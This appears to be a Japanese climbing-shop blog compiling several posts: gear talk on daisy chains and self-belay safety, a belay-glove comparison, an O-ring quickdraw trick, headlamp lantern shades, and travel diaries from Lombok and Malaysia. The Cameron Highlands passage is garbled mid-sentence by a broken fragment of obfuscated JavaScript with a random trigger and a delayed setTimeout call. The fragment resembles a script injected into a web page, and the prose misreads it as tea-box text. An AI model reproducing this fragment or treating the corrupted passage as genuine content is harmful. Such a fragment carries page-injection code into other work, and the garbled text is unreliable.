途中下車(ぎあくえ)

「天気、安定しない・・・」など悲観していたら、なんじゃい!!、この暑さ・・・。休み明けは展示会巡りからですが、心折れそーです・・・。

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で、乗り換えたばかりのTRANGO社 Quick Secure Chain(クイックセキュアチェーン)ですが、早速大先生からレスポンス頂きました。参考になるので掲載しますね。それにしても、難しい漢字使うの止めてよぉ~。

> 山下@JAGU です。

>今、以前は似合わないといわれた ツエルマット in  瑞西 です。(←スイス)
>マムートのおかげで、洗練されて?似非ヨーロッパガイドに見えるかと勝手に思っ
>てます。                (↑えせ)

> ところで裏でなり工房、あっ違った本家でした。
> METOLIUS社 Easy Daisyの件。これセルフビレー危険です。荷重が140gkfでしたっけ。
> ビレイ中にうっかりドンと落ちると破断する強度です。
> 仮に80Kgの者が1m位落ちると400kgfのショックがかかるはずです。
> たぶん実際はスペック以上の強度はあると思いますが、
> セルフビレーには推奨しません。基本エイダーとの接続用です。
> 私も数年前から使っていなく、もったいないけど破棄しました。
>
> 今日こちらであった日本人と話しをしたところ、デナリブログ見てるといってま
> したよ。
>
> Katsuhiro YAMASHITA

そーなんです、 『Not a belay anchor』としっかり書いてあります、ホントはそーゆー使い方に使う物ではございませんが・・・。』の通り、各社説明書きにも「使用上の注意を守り正しく使いましょう」と必ず書いてあります!、よい子は絶対真似してはいけません!!!。「え~、じゃぁ、何が正解なの?」と申しますと、こーゆーのです。

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左から、一般的なデイジーチェーン、METOLIUS社 PAS 22(Personal Anchor System 22kN)(ぱーそなるあんかーしすてむ22kN)、同じくUtimate Daisy Chain(あるてぃめいとでいじーちぇーん)でございます。

ちょっと旬ではなので「一般的な」表記で軽く片付けて申し訳ございませんが、一般的なヤツはダイニーマ素材で縦16kN~22kN、ポケット(小穴)で3kN位の強度です。それに対して、18kNだった強度は今シーズンから22kNにスペックアップしたPAS や新製品のUDCは、各ループに22kNもの強度があり、セルフビレイのみならずビレイポイントの作成もこなす優れもの!。スペック詳細はネットショップの記載でも参考にして下さい。

ネタ不足の折、サラッと流すつもりでご紹介させて頂きましたが、大先生がナイスパス出してくれたので記事拡張で今日も充実のクエストでした。山下さん、ご馳走様でした!!。

関連記事にリンク張ろーと試みましたが、大先生ネタ多くて心折れました。そんな訳で、“しびれるクライミングからスイーツ作りまで、引出の容積∞”、スーパーガイドのご用命は、

FREEBLAST MOUNTAIN GUIDES(山下勝弘):http://www.geocities.jp/freeblastmg/

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乗り換えです(ぎあくえ)

僕はセルフビレイ用に所謂、「アジャスタブルテープ」をよく使います。「クイックドローの長さ~スリングの長さ」まで片手で自由自在ですから。但し、「Not a belay anchor」としっかり書いてあります、ホントはそーゆー使い方に使う物ではございませんが・・・。

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しょっちゅー縮めたり伸ばしたりしていると、テープが毛羽立ってきて動きが悪くなる。冬は直ぐ氷るわ、どーしょもない。楽だから使っているのに、苦労する事このうえなし。

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そんな訳で今回はTRANGO社 Quick Secure Chain(クイックセキュアチェーン)にしてみます。今までMETOLIUS社 Easy Daisy(イージーデイジー)を使ってましたが、後出ジャンケン、パクリ、何と言おーが中々の出来映え。カラビナ入れる穴はメト方が狭いので好きですが、ココいら辺はトランゴよくできている。

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道具なんて「シンプル イズ ベスト」なんですが、メカニカルな物ほど手が伸びる。何故だ?。山道具とは無縁と思われる間違って店に入ってきた人ほど、何故かカムにやたら興味を持ってカチャカチャしている。絶対必要ないと思われるのだが、やられてしまうのだろう・・・。

ビエ君 ~夏の日記~ インドネシア ロンボックへの旅

シンガポールから、飛行機で約2時間半。バリ島の東にあるロンボック。センギギをベースに1週間のんびりうろうろしてきた。

リンジャ二と言う富士山的な山があるが(3726m)富士山と同じく砂と小石だらけな山。上からの景色は海も見れてきれいだろーけど、富士山の「整備されてない」的な山を8時間もかけて、しかも登山靴など装備無しで登りたくないし飛行機から見えたし。と思い結局ダイビング。

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コモドドラゴンの住んでるコモド島に行ってみるか!と思ったらロンボックから、往復6日間。。。やっぱいいや。そこまで時間使って見たくもなかったし。。。結局、ロンボックをメインでぶらぶらとスクーターで回った。南西の方を走っていて、ちょっと休憩したら、その村に住んでいるおばーちゃんが、「あそこに見える島行ってごらん」って言われて、なんか知らないけど行って見た島の名前は、ギリナングー、バンガローが10軒と食堂があって、99%無人島! 俺たちの島だー!って感じ。21っ世紀なのに、誰もいない島にいるとなんかほっとする感じ。のんびりしていると、「幸せってなんだろう?」とか思ってしまう。考えるのもめんどくさくて、結局「腹へってなくて、のどか沸いてなくて、寒くなくて、暑すぎない」=幸せ ということに決定。

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昼間は、全身ふやけながら、ひたすらダイビング!ウミガメはふつーにとなりで泳いでるし、いるかも結構見れる。水もきれいだから遠くまで見える!ダイビングインストラクターが、「PADI(国際ダイビング免許的なもの)をとればいいじゃん!ダイブ技術はOK だから、筆記だけやればいい!」って誘ってくれた。結局筆記を受けることにして、テンションが上がった僕は、その夜浜辺のビーチサイドのバー現地の人、とかいろんな国のサーファーやダイバーといっしょにクバリブレを飲みまくり。次の朝、筆記。もちろん二日酔い。テスト用紙見たらびっくり!技術用語はもちろん、全部英語。。。当たり前ちゃー当たり前だけど、筆記テストは何語?間で考えていなかった。ダイビングの時は、簡単な英語とボディーラングエッジだから通じたのに。。。軽い気持ちでテスト受けた事と、前の晩飲みすぎたこと、あいかわずの爪の甘さをすごく公開した。まー結局90%の成功率でパスできたから、結果OKって事に。

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後は、観光者らしくお寺など、文化的なものを見に行った。バリ島より色とか派手ではないが、そのシンプルさも結構好き。

バリより、観光施設など、お寺の整備はちゃんとしてないけど、ロンボックの方がルーツって感じで、結構好きになった。

ココまで出来れば正攻法(ぎあくえ)

本日のご紹介はTRANGO社 SQUID(スクイッド¥3,480)でございます。所謂、「チョンボ棒」の先っちょ。ただ、こいつは多機能で、「プリクリから回収まで」、ココまで出来れば正攻法、安全第一、“痛いのは勘弁”つーことで如何でしょ?。

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使い方は、親切なおじさんが教えてくれます。個人的にはおじさんが所々見せる「ドヤ?」顔がツボです(フフ)。

毎度の事ですが

毎度の事ですが、四ッ谷の盆・暮れ・正月は空洞化します。

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で、これまた邪悪な雲、こーゆーのがたち悪く計画・予定を破綻させてくれます・・・。

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大陸性高気圧の寒気がもわっとした空気をかき混ぜて、不安定なことこの上なし。内陸は読めない。かと言って海上も不安定・・・。夏の青空は何処へ!?。只今、撃沈中で岐阜→山梨→長野と天気に翻弄され流浪の日々です。こんな事ならはじめから陸の予定立てるんじゃなかったよ。皆さんはよいお盆休みでしたか?。

タマの話(でなりらぼ)

あのタマでもこのタマでもございません、「タマには役に立つ話」の『タマ』です。ただ、ユーザー限定のタマですが・・・。

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先日の割れ目産業の記事で「TORANGO社 QuickdrawKeeper 20pcs(QDキーパー20個入り)」をご紹介しましたが、“嫌いではありませんが、収まりがやや微妙。これまた次回のネタで取り上げましょう。”と言う事で、更なる収まりを追求してOリングを用意。ちなみに、この方式はWILD COUNTRY社 Helium Wire Quickdraw(ヘリウムワイヤ-クイックドロー)で採用されていますが、猿知恵ではセット出来ません!。そんな訳で猿卒業の私がご説明します。人類には余裕、写真参考にして下さい。

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先ずはカラビナを止めたいアイテムを持ってきて下さい。一般的には10mm/12mm/16mm/18mm位のテープ幅でしょうか?。

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Oリングの大きさですが「テープ幅+カラビナ幅×2」の公式で算出します。また、線径太すぎてもセットしにくいので「太からず細からず」のものを用意。

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テープに当てたOリングを一捻り、そこにカラビナを通します。

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反対側も捻って通してこんな感じ。テープ幅広いキャメロットの場合も同じ。

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位置調整すれば完成。

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ちなみに、「線径が○○mmで内径がoomm」なんて物は1つでは売ってくれないので、お店にでも売る事にします。異業種仕入なので高いか安いか分かりませんが、ホームセンターの水道部品のコーナーよりは安くてナイスサイズだと思います。お好きな方どーぞ。1つ¥55と¥60です。

ビエ君 ~夏の日記~ マレーシアの旅

シンガポールの北のほうに、マレーシアに行く橋がある。バスで、首都のクアラルンプールまで、やく4時間。

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ペトロナスツインタワー、大きい建物、ショッピングモールの中には遊園地、(ここのジェットコースターは、お台場ジョイポリスの新しいジェットコースターよりすごい!) チャイナタウンで’’偽者’’の商品の市場、やっぱり二日くらいないと全部見れない。でも、クアラルンプールで一番すごいと思ったのは、バトゥ洞窟。町の中心部からも結構近い、巨大な洞窟である。ヒンドゥー教の聖地。洞窟は、いくつかあり、ヒンドゥーの神様の彫刻がたくさんある洞窟や、中に滝がある洞窟や、 ヘットランプを付けてガイドと一緒に探検する洞窟などある。洞窟が一番大きい所だと、天井が100m以上。上から落ちてくる水滴は、痛い。。。

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キャメロンハイランド

クアラルンプールから、更に北の山の方へ行くと、紅茶の産地。確かに美味しい。後から気づいたけど、時々紅茶のアールグレイの箱を見てみると「Cameron Highlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and」って書いてある。お茶の他にも、色々な植物が生えてます。ジャングルの探検すると、ラフレシアとか人形の形や、フラメンコのドレスっぽい花が見れます。しかし、気をつけましょう!「森の住民に会える」的なツアーがある。車で10分程度の国道沿いに昔ながらの生活を森の民がしてるわけ無いじゃん。。。騙されないように!

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マラッカ

クアラルンプールから、約2時間、シンガポールが国際的な港として発達する以前、ポルトガル、オランダ、英国などが利用していた港街。今では静かな、小さい港町。ポルトガル人が作った要塞、フランシスコ ザビエルが住んでいた家や教会、中国人のショップハウス系な町並み、川沿いの道などあって、のんびり出来る町。

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ティオマン

メルシンの港から、フェリーに乗る。99%がジャングルで覆われている島。CIMG0174

 

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小さい空港や、ホテルもあるが、ほぼバンガローだらけ。オフシーズンの雨期には無人島状態、ヤモリ、蜘蛛とオオトカゲのパラダイス。

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国際的有名なダイビングスポット。シュノーケルだけで泳いでいてもウミガメが見えるくらい水がきれい。海辺でちょっと海水浴もいいけど、結構自然のままに残されているから、すぐそこにウニの大きい奴とかがいてかなり危険。死にはしないけど、マジ痛い。。。

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マレーシアは、僕的には、ダイビングスポットがいっぱいあるし、結構いろんな場所を安くうろうろ出来て、いろんな風景も見れて、結構楽しかった。今度は、マレーシアのボルネオに行ってみたいなー

ビレイグローブかよ、おとっつぁん!(山村分室)。

「ビレイグローブ書けよ、山ちゃん!」と軽く振られましたが、私、生まれてこの方ビレイグローブなど使ったことがありません。学生なんて基本は軍手ですから!!・・・今の学生はそんなことないんですか?知らないですが。

でもいいんですか?そんな私に命を懸けてしまって!?まぁ解らないなりに実際に着け比べてみようと思います。なんで装着時の感想をダラダラ書いてみます。長いです。また、着け心地は個人の感覚なので実際に着け比べてみるのが一番だと思います。

P8032849左上・BEAL:ASSURE MAX @3,360
サイズレンジ【S、M、L、XL】
素材【山羊革、フルグレインレザー】
握り具合【柔らかい】
今回比べた中で一番柔らかかった。革はしなやかで、フィット感とロープの滑りがよさそう。ロープが擦れる箇所は革を二重にして補強されている。掌の一部のみ補強の為屈折時に固さを感じない。

右上・PETZL:CORDEX @6,090
サイズレンジ【XS、S、M、L、XL】
素材【掌:山羊革・甲:化繊伸縮素材】
握り具合【固め】

甲が伸縮性のある化繊。透湿性にすぐれてそう。屈折時、甲側はよく伸びているものの、補強は掌は広く、指は第二関節まで二重になっている為、固さを感じる。カラビナホール有り。

左下・mont-bell:フィールドレザーグローブ @5,800
サイズレンジ【S、M、L】
素材【山羊革】
握り具合【固め】
婦人手袋みたいにストレート。ていうか女性はしっくりくると思います。全体的に細身の為フィット感があり、ギアの扱いには一番よさそう。ただ3サイズなのと、オールレザーで革が固めなのが玉に傷という感じ。

右下・METOLIUS:BelayGlove @4,620
サイズレンジ【S、M、L】
素材【牛革】
握り具合【固め】
今回唯一の牛革。掌の補強も厚く堅牢な印象。指が太目で少しギア操作がしづらい。掌にメトリウスのマークが捺されている。補強は掌までで指には無し。

P8032855上・BD:CragGlove @2,625
サイズレンジ【XS、S、M、L、XL】
素材【掌:シンサテックレザー・甲:化繊伸縮素材】
握り具合【柔らかい】
今回唯一の人工革。着け心地はよく、掌のクッション性は高い。グローブというより手袋っていう印象。暖かい。また今回の中で一番低価格。同じ5000円払うなら消耗品と考えてこれを二双にするか、+1000円で耐久性のある革にするか、はお任せします。
また、フルフィンガーとハーフフィンガーの二種類用意していて、何ピッチも懸垂するときはフルフィンガーがいいし、岩登りが主体のハイグレードハイキングのようなときはハーフフィンガーのほうがいいし、と山行に合った物を選ぶとよいと思います。
カラビナホール有り。

左下・BD:TransitionRockGlove @4,620
サイズレンジ【XS、S、M、L、XL】
素材【掌:山羊革・甲:化繊伸縮素材】
握り具合【柔らかめ】
掌から第二関節にかけて二重に補強されている。全体的にごつい印象だが割と柔らかい。指間の干渉も少なくギア操作がしやすい。カラビナホール有り。

右下・TRANGO:GOAT BELAY GLOVE @4,800
サイズレンジ【S、M、L】
素材【山羊革・化繊伸縮素材】
握り具合【柔らかめ】
掌から第一関節にかけて革が二重になっていて厚みを感じる。しかし、中指、薬指の関節部は一重で、屈折時の妨げにならないよう配慮されている。指が長細いのでギア操作がしやすい。カラビナホール有り。

■各モデルの詳細、購入はデナリネットショップ「グローブ」コーナーへ!!

気になったBD:TransitionとTRANGOを比較。どっちが気に入ったかは、ヒ・ミ・ツです。
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ビレイグローブだよ、おっかさん!。(ぎあくえ)

倉岡大先生は第2ラウンド、戦闘続行。アフリカ戦線に残してきた僕のビレイグローブ。『二回戦目でご愁傷様!ありがとうございました。生まれて初めて使いました。エベレスト帰りの薄皮にはジェントルに感じました。というわけで、オーちゃんオススメのを一つお願いします』。えぇ~、いきなりハードル上がるじゃん。どれにしよ?。

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「手袋は命を掛けて仕入ろ!」と言うぐらい気合い入れて手を入れまくる。だから自信はありますが、手の厚み、指の長さ、握力等、こだわればこだわる程複数の正解が出てきます。薄いと切れるは、厚いと操作し辛いは、余るとカラビナに引っ掛かるは、一層手の皮を強化するのが一番かぁ!?。そーは言うものの、現代っ子の指は繊細で華奢に出来ています、無理無理、手の皮強化は諦めて、自分に合うグローブを探した方がまともです。そんな訳で、オススメビレイグローブ並べてみます。

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ちなみに、アフリカ戦線で散った僕の遺品はMETOLIUS社 Belay Glove(ビレイグローブ¥4,620)でした。はじめ堅いが馴染んでくるとイイ感じ。ただ、サイズもSサイズからの展開なので、どちらかと言うと男性向き。で、今回はTRANGO社 GOAT Belay Glove(ゴートビレイグローブ¥4,800)にしてみます。

「ビレイグローブだよ、おっかさん!」と書いてみたかっただけで意味はありません。が、「ビレイグローブ書けよ、山ちゃん!」て言えばブログが1つ成立するので、山ちゃんに振り込んで今日はおしまい(プっ)。

大先生の戦線報告はこちらから。

http://sevensummit.blog119.fc2.com/

http://www.hiro-kuraoka.com/ 

ヘッドランプdeランタン

前回はランタンの紹介でしたが、今回はなんと!ヘッドランプがランタン代わりになるというものを紹介!装備の軽量化は登山の鉄則みたいなもんですからね。明るさは使用するヘッドランプに依存しますがそれでも光が広がるので目にも優しいです。ということで以下紹介。

P8032823mont-bell:クラッシャブル ランタン シェード @1,050
巾着型のランタンシェード。ヘッドランプを中に入れて口を閉じると完成。ボトム部は内側に円錐状の反射板になっています。収納時は折りたためばとてもコンパクトに。収納ケースとしては内部の反射板が干渉してあまりお勧めはできません。

P8032822MAMMUT:Ambient Light Dry Bag @2,940
防水パック型のランタンシェード。中に空気を入れて口を閉じた後、ボトムのバンドでヘッドライトを固定すれば出来上がり。「Dry Bag」の名も伊達じゃなく、容量3Lの防水パックとしても使えます。パッケージの絵によるとサンドイッチも入るそうです。これを付けたまま頭に装着することも可能です。僕はしません。

因みに今回使用したヘッドランプはBD社のヘッドランプ『スポット』90lumでした。

 

 

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・・・!?